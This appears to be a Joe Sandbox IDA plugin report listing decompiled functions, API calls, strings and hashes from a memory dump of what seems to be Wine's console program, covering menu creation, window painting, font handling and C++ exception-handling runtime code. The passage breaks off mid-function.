Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Rect$Window$LongObject$ClientInvalidateParent$BeginBrushCreateDeleteFillItemPaintProcSelectSolidStock
String ID:
API String ID: 88183673-0
Opcode ID: fc267d4952ad0f2efcd7e8d8740b12dc93e2ed3a74eb4603dbcac7476299d87b
Instruction ID: bb6d82cca0f0a7bb85f95a4386a2221fbdd94319ed0e82db42415277c7912078
Opcode Fuzzy Hash: fc267d4952ad0f2efcd7e8d8740b12dc93e2ed3a74eb4603dbcac7476299d87b
Instruction Fuzzy Hash: 8BD16EB59043189FCB14EFACD58969DBBF1BB48300F20896DE899EB350DB349994CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00B1AE30 Relevance: 31.7, APIs: 21, Instructions: 226
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00B1AE30(struct HMENU__* _a4, intOrPtr _a8) {
				int _v8;
				struct HINSTANCE__* _v12;
				struct HMENU__* _v16;
				short _v528;
				void* _v536;
				void* _v540;
				void* _v544;
				int _v548;
				int _v552;
				int _v556;
				int _v560;
				int _v564;
				int _v568;
				int _v572;
				WCHAR* _v576;
				int _v580;
				struct HINSTANCE__* _t129;
				int _t131;
				int _t135;
				int _t139;
				int _t143;
				int _t147;
				int _t151;
				int _t155;
				int _t159;
				int _t163;
				void* _t199;
				void* _t200;
				void* _t218;
				struct HINSTANCE__** _t225;
				struct HMENU__** _t226;

				_t129 = GetModuleHandleW(0);
				_t200 = _t199 - 4;
				_v12 = _t129;
				if(_a4 != 0) {
					_v16 = CreateMenu();
					if(_v16 != 0) {
						_t131 =  &_v528;
						_v548 = _t131;
						0x710000();
						LoadStringW(_v12, 0x110,  &_v528, _t131);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x110,  &_v528);
						_t135 =  &_v528;
						_v552 = _t135;
						0x710000();
						LoadStringW(_v12, 0x111,  &_v528, _t135);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x111,  &_v528);
						_t139 =  &_v528;
						_v556 = _t139;
						0x710000();
						LoadStringW(_v12, 0x112,  &_v528, _t139);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x112,  &_v528);
						_t143 =  &_v528;
						_v560 = _t143;
						0x710000();
						LoadStringW(_v12, 0x113,  &_v528, _t143);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x113,  &_v528);
						_t147 =  &_v528;
						_v564 = _t147;
						0x710000();
						LoadStringW(_v12, 0x114,  &_v528, _t147);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x114,  &_v528);
						_t151 =  &_v528;
						_v568 = _t151;
						0x710000();
						LoadStringW(_v12, 0x115,  &_v528, _t151);
						InsertMenuW(_v16, 0xffffffff, 0x400, 0x115,  &_v528);
						_t218 = _t200 - 0xffffffffffffff18;
						if(_a8 != 0) {
							InsertMenuW(_a4, 0xffffffff, 0xc00, 0, 0);
							_t218 = _t218 - 0x14;
						}
						_t155 =  &_v528;
						_v572 = _t155;
						0x710000();
						LoadStringW(_v12, 0x100,  &_v528, _t155);
						InsertMenuW(_a4, 0xffffffff, 0x410, _v16,  &_v528);
						_t159 =  &_v528;
						_v576 = _t159;
						0x710000();
						LoadStringW(_v12, 0x101,  &_v528, _t159);
						InsertMenuW(_a4, 0xffffffff, 0x400, 0x101,  &_v528);
						_t163 =  &_v528;
						_v580 = _t163;
						0x710000();
						_t225 = _t218 - 0xffffffffffffffb4;
						 *_t225 = _v12;
						_v580 = 0x102;
						_v576 =  &_v528;
						_v572 = _t163;
						LoadStringW(??, ??, ??, ??);
						_t226 = _t225 - 0x10;
						 *_t226 = _a4;
						_v580 = 0xffffffff;
						_v576 = 0x400;
						_v572 = 0x102;
						_v568 =  &_v528;
						InsertMenuW(??, ??, ??, ??, ??);
						_t200 = _t226 - 0x14;
						_v8 = 1;
					} else {
						_v8 = 0;
					}
				} else {
					_v8 = 0;
				}
				return _v8;
			}

0x00b1ae48
0x00b1ae4e
0x00b1ae51
0x00b1ae58
0x00b1ae70
0x00b1ae77
0x00b1ae89
0x00b1ae8f
0x00b1ae92
0x00b1aeb6
0x00b1aee7
0x00b1aef0
0x00b1aef6
0x00b1aef9
0x00b1af1d
0x00b1af4e
0x00b1af57
0x00b1af5d
0x00b1af60
0x00b1af84
0x00b1afb5
0x00b1afbe
0x00b1afc4
0x00b1afc7
0x00b1afeb
0x00b1b01c
0x00b1b025
0x00b1b02b
0x00b1b02e
0x00b1b052
0x00b1b083
0x00b1b08c
0x00b1b092
0x00b1b095
0x00b1b0b9
0x00b1b0ea
0x00b1b0f0
0x00b1b0f7
0x00b1b125
0x00b1b12b
0x00b1b12b
0x00b1b12e
0x00b1b134
0x00b1b137
0x00b1b15b
0x00b1b18b
0x00b1b194
0x00b1b19a
0x00b1b19d
0x00b1b1c1
0x00b1b1f2
0x00b1b1fb
0x00b1b201
0x00b1b204
0x00b1b209
0x00b1b215
0x00b1b218
0x00b1b220
0x00b1b224
0x00b1b228
0x00b1b22e
0x00b1b23a
0x00b1b23d
0x00b1b245
0x00b1b24d
0x00b1b255
0x00b1b259
0x00b1b25f
0x00b1b262
0x00b1ae7d
0x00b1ae7d
0x00b1ae7d
0x00b1ae5e
0x00b1ae5e
0x00b1ae5e
0x00b1b273

APIs

GetModuleHandleW.KERNEL32 ref: 00B1AE48
CreateMenu.USER32 ref: 00B1AE6A

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CreateHandleMenuModule
String ID:
API String ID: 4123625242-0
Opcode ID: 76a04c0e59038a697f5b9bd5c3a50ca937efec981bb2bd9394da02383be21dd4
Instruction ID: 45060000b88b4b4334477f7fa6110d8ddb29ca0b5ddac1d42a4480dc5aea9d93
Opcode Fuzzy Hash: 76a04c0e59038a697f5b9bd5c3a50ca937efec981bb2bd9394da02383be21dd4
Instruction Fuzzy Hash: 64C1B4B48083189FD714EF68D44969EBBF4FB44310F10CA6DE8A997395DB789688CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BCD2 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetParent.USER32 ref: 00B1BCD8
GetWindowLongW.USER32 ref: 00B1BCEC
BeginPaint.USER32 ref: 00B1BD05
GetWindowLongW.USER32 ref: 00B1BD1E
SelectObject.GDI32 ref: 00B1BD41

Part of subcall function 00B1C460: GetDlgItem.USER32 ref: 00B1C47F
Part of subcall function 00B1C460: GetWindowLongW.USER32 ref: 00B1C495

CreateSolidBrush.GDI32 ref: 00B1BD6C
FillRect.USER32 ref: 00B1BD89
SetBkColor.GDI32 ref: 00B1BD9F
SetTextColor.GDI32 ref: 00B1BDC8
GetModuleHandleW.KERNEL32 ref: 00B1BDFD
LoadStringW.USER32 ref: 00B1BE27
TextOutW.GDI32 ref: 00B1BE6F
TextOutW.GDI32 ref: 00B1BEB4
SelectObject.GDI32 ref: 00B1BECA
EndPaint.USER32 ref: 00B1BEE0

Strings

ASCII: abcXYZ, xrefs: 00B1BE78, 00B1BE97

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: LongTextWindow$ColorObjectPaintSelect$BeginBrushCreateFillHandleItemLoadModuleParentRectSolidString
String ID: ASCII: abcXYZ
API String ID: 3404974346-732927841
Opcode ID: c4c0903b52ad28736a2c99d1188904acb4d37163e4a14931e1d9f574b5432403
Instruction ID: ca5c14e6f493724afd9b6a9f286210f73c797b948b0e71aaade16d1ba420b983
Opcode Fuzzy Hash: c4c0903b52ad28736a2c99d1188904acb4d37163e4a14931e1d9f574b5432403
Instruction Fuzzy Hash: 0E6195B58083149FCB04EFA8D58869EBFF4BF48301F10896DE88997354EB749988CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A680 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181
registryCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E00B1A680(void* __edi, struct HINSTANCE__* _a4, intOrPtr _a8) {
				intOrPtr _v12;
				char _v216;
				char _v428;
				struct _WNDCLASSW _v468;
				char _v980;
				struct HINSTANCE__* _v984;
				char* _v988;
				char* _v992;
				char* _v996;
				intOrPtr _v1000;
				void* _v1008;
				intOrPtr _v1012;
				struct HINSTANCE__* _v1016;
				intOrPtr _v1020;
				char* _v1024;
				struct HINSTANCE__* _t110;
				struct HINSTANCE__* _t115;
				int _t117;
				intOrPtr* _t118;
				void* _t155;
				void* _t156;
				struct HINSTANCE__** _t165;
				struct HINSTANCE__** _t166;
				intOrPtr* _t167;
				intOrPtr* _t169;

				_t153 = __edi;
				L00B2B0CA();
				E00B1FC30(__edi,  &_v428, 0, 0xd4);
				_v428 = _a4;
				if(_a8 == 0) {
					_v1016 = 0;
					_v1012 =  &_v428 + 4;
					E00B13370(_t153);
					_t156 = _t155 - 8;
				} else {
					_v1016 = _a4;
					_v1012 =  &_v428 + 4;
					E00B1B960();
					_t156 = _t155 - 8;
				}
				E00B1F6B0( &_v216,  &_v428 + 4, 0xcc);
				_v468.style = 0;
				_v468.lpfnWndProc = E00B1BBB0;
				_v468.cbClsExtra = 0;
				_v468.cbWndExtra = 4;
				_v468.hInstance = GetModuleHandleW(0);
				_v468.hIcon = 0;
				_v468.hCursor = LoadCursorW(0, 0x7f00);
				_v468.hbrBackground = GetStockObject(4);
				_v468.lpszMenuName = 0;
				_v468.lpszClassName = L"WineConFontPreview";
				RegisterClassW( &_v468);
				_v468.style = 0;
				_v468.lpfnWndProc = E00B1BF30;
				_v468.cbClsExtra = 0;
				_v468.cbWndExtra = 4;
				_v468.hInstance = GetModuleHandleW(0);
				_v468.hIcon = 0;
				_v468.hCursor = LoadCursorW(0, 0x7f00);
				_v468.hbrBackground = GetStockObject(4);
				_v468.lpszMenuName = 0;
				_v468.lpszClassName = L"WineConColorPreview";
				RegisterClassW( &_v468);
				_t110 =  &_v980;
				_v1024 = _t110;
				0x710000();
				_t165 = _t156 - 0xffffffffffffffdc;
				_v984 = _t110;
				_v988 =  &_v980;
				_t113 =  !=  ? 0x121 : 0x120;
				_v992 =  !=  ? 0x121 : 0x120;
				 *_t165 = 0;
				_t115 = GetModuleHandleW(??);
				_t166 = _t165 - 4;
				 *_t166 = _t115;
				_v1024 = _v992;
				_v1020 = _v988;
				_v1016 = _v984;
				_t117 = LoadStringW(??, ??, ??, ??);
				_t167 = _t166 - 0x10;
				if(_t117 == 0) {
					 *_t167 =  &_v980;
					_v1024 = L"Setup";
					E00B211F7();
				}
				_t118 = _t167;
				 *((intOrPtr*)(_t118 + 4)) =  &_v428 + 4;
				 *_t118 =  &_v216;
				 *((intOrPtr*)(_t118 + 8)) = 0xcc;
				if(E00B1E02E() != 0) {
					if(_a8 != 0) {
						 *_t167 = _a4;
						_v1024 =  &_v428 + 4;
						E00B14AB0();
						_t169 = _t167 - 8;
						 *_t169 = _v428;
						E00B18E70();
						_t167 = _t169 - 4;
					}
					_v996 =  &_v428 + 4;
					if(_a8 == 0) {
						_v1000 = 0;
					} else {
						_v1000 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x84)) + 0x24));
					}
					 *_t167 = _v1000;
					_v1024 = _v996;
					E00B1C3B0();
					_v12 = 1;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

0x00b1a680
0x00b1a690
0x00b1a6b0
0x00b1a6b8
0x00b1a6c2
0x00b1a6f3
0x00b1a6fa
0x00b1a6fe
0x00b1a703
0x00b1a6c8
0x00b1a6d4
0x00b1a6d7
0x00b1a6db
0x00b1a6e0
0x00b1a6e0
0x00b1a724
0x00b1a729
0x00b1a739
0x00b1a73f
0x00b1a749
0x00b1a765
0x00b1a76b
0x00b1a790
0x00b1a7a6
0x00b1a7ac
0x00b1a7bc
0x00b1a7cb
0x00b1a7d4
0x00b1a7e4
0x00b1a7ea
0x00b1a7f4
0x00b1a810
0x00b1a816
0x00b1a83b
0x00b1a851
0x00b1a857
0x00b1a867
0x00b1a876
0x00b1a87f
0x00b1a885
0x00b1a888
0x00b1a88d
0x00b1a890
0x00b1a89c
0x00b1a8b2
0x00b1a8b5
0x00b1a8bd
0x00b1a8c4
0x00b1a8ca
0x00b1a8e1
0x00b1a8e4
0x00b1a8e8
0x00b1a8ec
0x00b1a8f0
0x00b1a8f6
0x00b1a8fc
0x00b1a90e
0x00b1a911
0x00b1a915
0x00b1a915
0x00b1a929
0x00b1a92b
0x00b1a92e
0x00b1a930
0x00b1a93f
0x00b1a955
0x00b1a967
0x00b1a96a
0x00b1a96e
0x00b1a973
0x00b1a97c
0x00b1a97f
0x00b1a984
0x00b1a984
0x00b1a990
0x00b1a99a
0x00b1a9b9
0x00b1a9a0
0x00b1a9ac
0x00b1a9ac
0x00b1a9d0
0x00b1a9d3
0x00b1a9d7
0x00b1a9df
0x00b1a945
0x00b1a945
0x00b1a945
0x00b1a9f1

APIs

#17.COMCTL32 ref: 00B1A690
GetModuleHandleW.KERNEL32 ref: 00B1A75C
LoadCursorW.USER32 ref: 00B1A787
GetStockObject.GDI32 ref: 00B1A79D
RegisterClassW.USER32 ref: 00B1A7CB
GetModuleHandleW.KERNEL32 ref: 00B1A807
LoadCursorW.USER32 ref: 00B1A832
GetStockObject.GDI32 ref: 00B1A848
RegisterClassW.USER32 ref: 00B1A876
GetModuleHandleW.KERNEL32 ref: 00B1A8C4
LoadStringW.USER32 ref: 00B1A8F0

Part of subcall function 00B18E70: IsWindowVisible.USER32 ref: 00B18EE6
Part of subcall function 00B18E70: GetDC.USER32 ref: 00B18F61

Strings

WineConFontPreview, xrefs: 00B1A7B6
@.v, xrefs: 00B1A787, 00B1A832
WineConColorPreview, xrefs: 00B1A861
Setup, xrefs: 00B1A908

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: HandleLoadModule$ClassCursorObjectRegisterStock$StringVisibleWindow
String ID: Setup$WineConColorPreview$WineConFontPreview$@.v
API String ID: 3977189380-1132709736
Opcode ID: 28ed17ff0909779931525e8a9e673ed3cad329e51043c9fd68de860650fe8319
Instruction ID: c9808c841bb7ef49dde0a0c2f489549f24053620fbd5274fe15add491717bd29
Opcode Fuzzy Hash: 28ed17ff0909779931525e8a9e673ed3cad329e51043c9fd68de860650fe8319
Instruction Fuzzy Hash: 6E91DAB19052189FDB50EF28D9497DDBBF4FB08344F4085AAE889E7250DB749A88CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B17B20 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 281COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00B17BAE
EnterCriticalSection.KERNEL32 ref: 00B17C7A
MultiByteToWideChar.KERNEL32 ref: 00B17D09
LeaveCriticalSection.KERNEL32 ref: 00B17DBD
LeaveCriticalSection.KERNEL32 ref: 00B17F5A
EnterCriticalSection.KERNEL32 ref: 00B17F76
CloseHandle.KERNEL32 ref: 00B1800E
LeaveCriticalSection.KERNEL32 ref: 00B1802D

Strings

input setup failed: %#lx, xrefs: 00B17B73
input restore failed: %#lx, xrefs: 00B17FE8
H, xrefs: 00B17E0A

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ByteCharCloseCreateEventHandleMultiWide
String ID: H$input restore failed: %#lx$input setup failed: %#lx
API String ID: 628538822-1542851097
Opcode ID: 0c8a7da7b359dabe54b514c437ab4783874223f9cdad445e6961efae02b17d75
Instruction ID: 31ed8491b646f597deee65d7a2f68581e6c8207f0c63b4ad452fbb44a98d3f10
Opcode Fuzzy Hash: 0c8a7da7b359dabe54b514c437ab4783874223f9cdad445e6961efae02b17d75
Instruction Fuzzy Hash: C4D119B5909215CFDB11EF68D5987AEBBF4FF48340F4088ADE48997240DB749A88CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B123E0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 177COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 00B123FC
TranslateCharsetInfo.GDI32 ref: 00B12419
GetStartupInfoW.KERNEL32 ref: 00B12452

Strings

@.v, xrefs: 00B1262F
WineConsoleClass, xrefs: 00B1265E

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Info$CharsetStartupTranslate
String ID: WineConsoleClass$@.v
API String ID: 3822699805-1808220505
Opcode ID: 35c6b95bf126c302bee1b1775800e75eb8dbd5f12c4df30c95a467311ab5d14c
Instruction ID: db011885c38444a2812b0c30a4c208df24535ece386a9ffe581155360e419f9c
Opcode Fuzzy Hash: 35c6b95bf126c302bee1b1775800e75eb8dbd5f12c4df30c95a467311ab5d14c
Instruction Fuzzy Hash: CF91B8B49042198FDB20DF68D994BDDBBF0FF08304F5089A9E889AB351DB759A94CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00B12E20 Relevance: 16.7, APIs: 11, Instructions: 228COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B12F2E
CreateFontIndirectW.GDI32 ref: 00B12F58
ReleaseDC.USER32 ref: 00B12F83
SelectObject.GDI32 ref: 00B12FA8
GetTextMetricsW.GDI32 ref: 00B12FC4
GetTextFaceW.GDI32 ref: 00B13003
SelectObject.GDI32 ref: 00B13027
ReleaseDC.USER32 ref: 00B13046
GetCPInfo.KERNEL32 ref: 00B130E8
DeleteObject.GDI32 ref: 00B13135
DeleteObject.GDI32 ref: 00B1317E

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Object$DeleteReleaseSelectText$CreateFaceFontIndirectInfoMetrics
String ID:
API String ID: 2170087643-0
Opcode ID: 882000cd7f18be830f80aa28d0753c29484a8b125f2374dbd2bb6753f7338504
Instruction ID: f0196736d788d209d4e6b4e817d4e3cd30459f8792cf04e2c6c0dcf70323507c
Opcode Fuzzy Hash: 882000cd7f18be830f80aa28d0753c29484a8b125f2374dbd2bb6753f7338504
Instruction Fuzzy Hash: 3CB17378A04218DFCB14DF68D588AADBBF1FF49314F5584A9E889DB351DB30E984CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B27A82 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E00B27A82(signed int __edx, intOrPtr* _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				signed int* _v52;
				intOrPtr _v56;
				signed int _v64;
				void* _v68;
				char _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				signed int _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t146;
				signed int _t152;
				void* _t155;
				signed char _t160;
				signed int _t161;
				void* _t163;
				void* _t166;
				void* _t169;
				intOrPtr* _t179;
				void* _t182;
				intOrPtr* _t183;
				signed int _t184;
				signed int _t185;
				signed int _t187;
				void* _t191;
				void* _t196;
				void* _t197;
				intOrPtr _t201;
				intOrPtr* _t202;
				signed int _t203;
				signed int _t210;
				signed int _t211;
				intOrPtr _t214;
				signed int* _t218;
				signed int _t219;
				signed int _t224;
				signed int _t225;
				signed int _t231;
				void* _t234;
				void* _t235;

				_t216 = __edx;
				_t218 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t204 = E00B28C58(_a8, _a16, _t218);
				_t235 = _t234 + 0xc;
				_v12 = _t204;
				if(_t204 < 0xffffffff || _t204 >= _t218[1]) {
					L67:
					E00B21BDC(_t202, _t204, _t216, _t218, _t225);
					asm("int3");
					__eflags = _v88;
					_push(_t202);
					_t203 = _v92;
					_push(_t225);
					_push(_t218);
					_t219 = _v108;
					if(__eflags != 0) {
						_push(_a24);
						_push(_t203);
						_push(_t219);
						_push(_v0);
						E00B279E9(_t203, _t219, _t225, __eflags);
						_t235 = _t235 + 0x10;
					}
					_t146 = _a36;
					__eflags = _t146;
					if(_t146 == 0) {
						_t146 = _t219;
					}
					E00B2425E(_t204, _t146, _v0);
					_t226 = _a28;
					_push( *_a28);
					_push(_a16);
					_push(_a12);
					_push(_t219);
					E00B27232(_t203, _t204, _t216, _t219, _a28, __eflags);
					E00B28C75(_t219, _a16,  *((intOrPtr*)(_t226 + 4)) + 1);
					_push(0x100);
					_push(_a32);
					_push( *((intOrPtr*)(_t203 + 0xc)));
					_push(_a16);
					_push(_a8);
					_push(_t219);
					_push(_v0);
					_t152 = E00B27429(_t203, _t216, _t219, _t226, __eflags);
					__eflags = _t152;
					if(_t152 != 0) {
						E00B2422E(_t152, _t219);
						return _t152;
					}
					return _t152;
				} else {
					_t202 = _a4;
					if( *_t202 != 0xe06d7363 ||  *((intOrPtr*)(_t202 + 0x10)) != 3 ||  *((intOrPtr*)(_t202 + 0x14)) != 0x19930520 &&  *((intOrPtr*)(_t202 + 0x14)) != 0x19930521 &&  *((intOrPtr*)(_t202 + 0x14)) != 0x19930522) {
						L22:
						_t216 = _a12;
						_v8 = _a12;
						goto L24;
					} else {
						_t225 = 0;
						if( *((intOrPtr*)(_t202 + 0x1c)) != 0) {
							goto L22;
						} else {
							_t155 = E00B21C6E(_t202, _t204, _t216, _t218, 0);
							if( *((intOrPtr*)(_t155 + 0x10)) == 0) {
								L61:
								return _t155;
							} else {
								_t202 =  *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, 0) + 0x10));
								_t191 = E00B21C6E(_t202, _t204, _t216, _t218, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t191 + 0x14));
								if(_t202 == 0 ||  *_t202 == 0xe06d7363 &&  *((intOrPtr*)(_t202 + 0x10)) == 3 && ( *((intOrPtr*)(_t202 + 0x14)) == 0x19930520 ||  *((intOrPtr*)(_t202 + 0x14)) == 0x19930521 ||  *((intOrPtr*)(_t202 + 0x14)) == 0x19930522) &&  *((intOrPtr*)(_t202 + 0x1c)) == _t225) {
									goto L67;
								} else {
									if( *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x1c)) == _t225) {
										L23:
										_t216 = _v8;
										_t204 = _v12;
										L24:
										_v52 = _t218;
										_v48 = 0;
										__eflags =  *_t202 - 0xe06d7363;
										if( *_t202 != 0xe06d7363) {
											L57:
											__eflags = _t218[3];
											if(_t218[3] <= 0) {
												goto L60;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L67;
												} else {
													E00B27EA7(_t204, _t216, _t218, _t225, _t202, _a8, _t216, _a16, _t218, _t204, _a28, _a32);
													_t235 = _t235 + 0x20;
													goto L60;
												}
											}
										} else {
											__eflags =  *((intOrPtr*)(_t202 + 0x10)) - 3;
											if( *((intOrPtr*)(_t202 + 0x10)) != 3) {
												goto L57;
											} else {
												__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930520;
												if( *((intOrPtr*)(_t202 + 0x14)) == 0x19930520) {
													L29:
													_t225 = _a32;
													__eflags = _t218[3];
													if(_t218[3] > 0) {
														E00B241BE(_t204,  &_v68,  &_v52, _t204, _a16, _t218, _a28);
														_t216 = _v64;
														_t235 = _t235 + 0x18;
														_t179 = _v68;
														_v44 = _t179;
														_v16 = _t216;
														__eflags = _t216 - _v56;
														if(_t216 < _v56) {
															_t210 = _t216 * 0x14;
															__eflags = _t210;
															_v32 = _t210;
															do {
																_t211 = 5;
																_t182 = memcpy( &_v104,  *((intOrPtr*)( *_t179 + 0x10)) + _t210, _t211 << 2);
																_t235 = _t235 + 0xc;
																__eflags = _v104 - _t182;
																if(_v104 <= _t182) {
																	__eflags = _t182 - _v100;
																	if(_t182 <= _v100) {
																		_t214 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t217 =  *((intOrPtr*)(_t202 + 0x1c));
																			_t183 =  *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x1c)) + 0xc));
																			_t184 = _t183 + 4;
																			__eflags = _t184;
																			_v36 = _t184;
																			_t185 = _v88;
																			_v40 =  *_t183;
																			_v24 = _t185;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t231 = _v40;
																				_t224 = _v36;
																				__eflags = _t231;
																				if(_t231 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_t187 = E00B2781D( &_v84,  *_t224, _t217);
																						_t235 = _t235 + 0xc;
																						__eflags = _t187;
																						if(_t187 != 0) {
																							break;
																						}
																						_t217 =  *((intOrPtr*)(_t202 + 0x1c));
																						_t231 = _t231 - 1;
																						_t224 = _t224 + 4;
																						__eflags = _t231;
																						if(_t231 > 0) {
																							continue;
																						} else {
																							_t214 = _v20;
																							_t185 = _v24;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					_push(_a32);
																					_push(_a28);
																					_push( &_v104);
																					_push( *_t224);
																					_push( &_v84);
																					_push(_a20);
																					_push(_a16);
																					_push(_v8);
																					_push(_a8);
																					_push(_t202);
																					L68();
																					_t235 = _t235 + 0x30;
																				}
																				L43:
																				_t216 = _v16;
																				goto L44;
																				L40:
																				_t214 = _t214 + 1;
																				_t185 = _t185 + 0x10;
																				_v20 = _t214;
																				_v24 = _t185;
																				__eflags = _t214 - _v92;
																			} while (_t214 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t216 = _t216 + 1;
																_t179 = _v44;
																_t210 = _v32 + 0x14;
																_v16 = _t216;
																_v32 = _t210;
																__eflags = _t216 - _v56;
															} while (_t216 < _v56);
															_t218 = _a20;
															_t225 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E00B1DC55(_t202, _t218, _t225, __eflags);
														_t204 = _t202;
													}
													__eflags = ( *_t218 & 0x1fffffff) - 0x19930521;
													if(( *_t218 & 0x1fffffff) < 0x19930521) {
														L60:
